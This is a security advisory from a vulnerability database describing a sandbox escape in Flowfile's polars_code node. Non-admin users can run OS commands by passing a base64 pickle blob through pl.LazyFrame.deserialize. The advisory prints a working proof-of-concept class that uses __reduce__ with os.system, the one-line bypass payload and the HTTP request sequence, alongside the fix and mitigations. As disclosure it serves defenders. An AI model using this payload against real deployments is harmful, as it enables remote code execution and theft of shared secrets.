
Cloud Vulnerability DB
A community-led vulnerabilities database
In the documented Docker / multi-user deployment, any authenticated non-admin user can run polars_code node code that escapes the node's declared security sandbox (PolarsCodeParser, "Securely executes Polars code with restricted access to Python functionality") and executes arbitrary OS commands on the core/worker host.
The single accepted line pl.LazyFrame.deserialize(BytesIO(base64.b64decode("<standard-base64 blob>"))) passes the AST validator but reaches pickle: Polars' own documentation warns that deserialize "can execute arbitrary code." The blob is a serialized LazyFrame whose UDF is a malicious-pickle object.
Confirmed at runtime on released 0.25.0 (polars 1.43.2): the payload is accepted (HTTP 200) and a unique canary command fires inside the worker, reproduced by a freshly created non-admin member.
Severity: CVSS 3.1 8.8 (High), AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
Scope: this concerns the Docker multi-user deployment (README: "The Docker deployment makes it multi-user ... The desktop app is single-user."), not the single-user desktop/pip build.
shared/polars_code_parser.py, the PolarsCodeParser sandbox for the polars_code node. The core package re-exports it unchanged.
The polars_code node runs user-supplied Polars/Python, but only after PolarsCodeParser._validate_code (lines 372-424). The class docstring (line 302) states it "Securely executes Polars code with restricted access to Python functionality," and the blocked-builtins set is introduced by the comment "Blocked function names that can be used to escape the sandbox" (line 376). _validate_code walks the AST and rejects:
import and from ... importexec, eval, getattr, open, ...) but only when called as a bare name (isinstance(node.func, ast.Name) and node.func.id in _blocked_functions)___\w+__pl.LazyFrame.deserialize(BytesIO(base64.b64decode("<standard-base64 blob>")))This trips none of the rules:
pl.LazyFrame.deserialize(...) and base64.b64decode(...) are attribute calls, not bare-name calls, so the blocked-builtins check never applies to them; deserialize and b64decode are not underscore names.BytesIO is provided in safe_globals and is not in the blocked set._.__, so the dunder-string regex never matches the blob.pl is exposed via _module_namespace(pl), which keeps every public, non-module attribute of polars. pl.LazyFrame is reached by ordinary attribute access and .deserialize at runtime, so the namespace filter (which only inspects top-level pl attributes) does not remove it. pl.LazyFrame.deserialize unpickles a serialized query plan; when the plan carries a Python UDF, Polars uses pickle, and its own documentation warns deserializing "can execute arbitrary code, so it should only be attempted on trusted data." The blob is a serialized LazyFrame whose map_batches UDF is an object whose __reduce__ returns (os.system, (<command>,)). os.system pickles by global reference, so the attacker class need not exist on the target.
The router in flowfile_core/flowfile_core/routes/routes.py is mounted with dependencies=[Depends(get_current_active_user)] (L158); update_settings (which stores the node's code) and run_flow (L682) carry only that same dependency, with no is_admin check. On save the builder stores any validation error rather than raising, so an accepted payload returns HTTP 200; on run, execute_polars_code calls PolarsCodeParser.get_executable, which execs the wrapped function and then calls it, at which point deserialize runs.
deserialize is an unenumerated escape of that control. The control test in the PoC proves the validator is live and normally blocks escapes.polars_code node is deliberately the constrained, in-process path, which is why it has an AST validator at all.docs/users/deployment/sharing.md:51) and "The plaintext is never returned to non-owners through the API; it only decrypts inside flow execution" (:76). Host code execution in the worker lets a member read exactly those secrets.
Note to pre-empt a redirect to Polars: deserialize behaving as documented (pickle on untrusted input runs code) is not a Polars bug. The defect is that Flowfile exposes that method to an input it has declared untrusted, and validates it with a boundary that does not block it. Flowfile owns this boundary.Confirmed at runtime in a disposable Docker environment on the released artifact: flowfile==0.25.0 built from tag v0.25.0 (commit 709a22cd691c006817f96b165503e648bbe614bb), polars 1.43.2 (the version pinned in the tag's poetry.lock), FLOWFILE_MODE=docker.
import polars as pl, base64, os
class E:
def __reduce__(self):
return (os.system, ("touch /tmp/flowfile_pwned_<NONCE>; id > /tmp/flowfile_pwned_<NONCE>.out 2>&1; uname -a >> /tmp/flowfile_pwned_<NONCE>.out",))
def __call__(self, df):
return df
lf = pl.LazyFrame({"a": [1]}).map_batches(E())
blob = base64.b64encode(lf.serialize()).decode() # standard base64, contains no "__"pl. so the node wrapper returns it)pl.LazyFrame.deserialize(BytesIO(base64.b64decode("<blob>")))POST /auth/token — log in.POST /editor/create_flow/ — returns a flow id.POST /editor/add_node/?node_type=polars_code.POST /update_settings/?node_type=polars_code with the payload — returns HTTP 200 (i.e. _validate_code accepted it; no error stored).POST /flow/run/ — the flow runs on backend_id: "worker".
Result: the canary file /tmp/flowfile_pwned_FLOWFILE_RCE_20261121T214711Z_4b8ee78e7e4a is created inside the worker container, containing the command output. The pickle fires at deserialize() time, before any .collect(); .collect() then raises a harmless TypeError: 'int' object is not callable, after the command has already run.pl.DataFrame({"a":[getattr(__import__("os"),"system")("id")]}) is rejected at run time with ValueError: Function 'getattr' is not allowed. The validator is active, so the deserialize payload genuinely bypassed it.
An admin created a member account (id=3, is_admin=false). The member logged in and drove the identical add_node -> update_settings -> run sequence with a second blob, and the canary /tmp/flowfile_pwned_FLOWFILE_RCE_P2_20261121T215338Z_aa455d86bd2c fired. The polars_code routes use only Depends(get_current_active_user), with no is_admin gate.
Full HTTP/CLI transcripts (admin and member runs, the isolated-mechanism run, and the control) plus the canary files are available and can be provided to the maintainers on request. The PoC container runs the services as uid=0, which is the shipped docker-compose default; the code execution holds whatever account the services run as, and I am not claiming Flowfile intentionally grants root.
An authenticated member of a shared Flowfile instance executes arbitrary commands on the core or worker host, with full confidentiality, integrity, and availability impact over everything the service account can reach.
Beyond the host, this breaks a confidentiality boundary the project states explicitly. Shared secrets are documented as use-only and never readable by members ("members can never view its value"; "The plaintext is never returned to non-owners through the API; it only decrypts inside flow execution"). Because secrets decrypt inside flow execution, which is the exact context an escaped polars_code node runs in, a member can read the plaintext of credentials the product promises they can never see, along with other users' flows and catalog data.
Affected: the documented Docker / multi-user deployment. Not applicable to the single-user desktop or pip build, where a user running their own Python is expected.
Fixed in 0.26.0. When FLOWFILE_MODE is docker or server, the Polars Code sandbox refuses any use of deserialize before any code runs. The exception is a JSON expression plan in the form Flowfile's Python API writes, which is accepted only when it holds no Python function, plugin or byte payload outside a literal.
On a patched server, a Polars Code step saved with a serialized LazyFrame plan stops with "rebuild the step from code".
Upgrade both the core and the worker images. If you run a worker outside the published image, set FLOWFILE_MODE=docker on it.
Until you can upgrade, only give accounts to people you trust with code execution on the server. Running the services as a non-root user limits what an attacker gets, but does not prevent the attack. Independently of this fix, give accounts on a multi-user server only to people you trust: Polars Code runs inside the server process, and a later release moves it to isolated kernel containers.
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."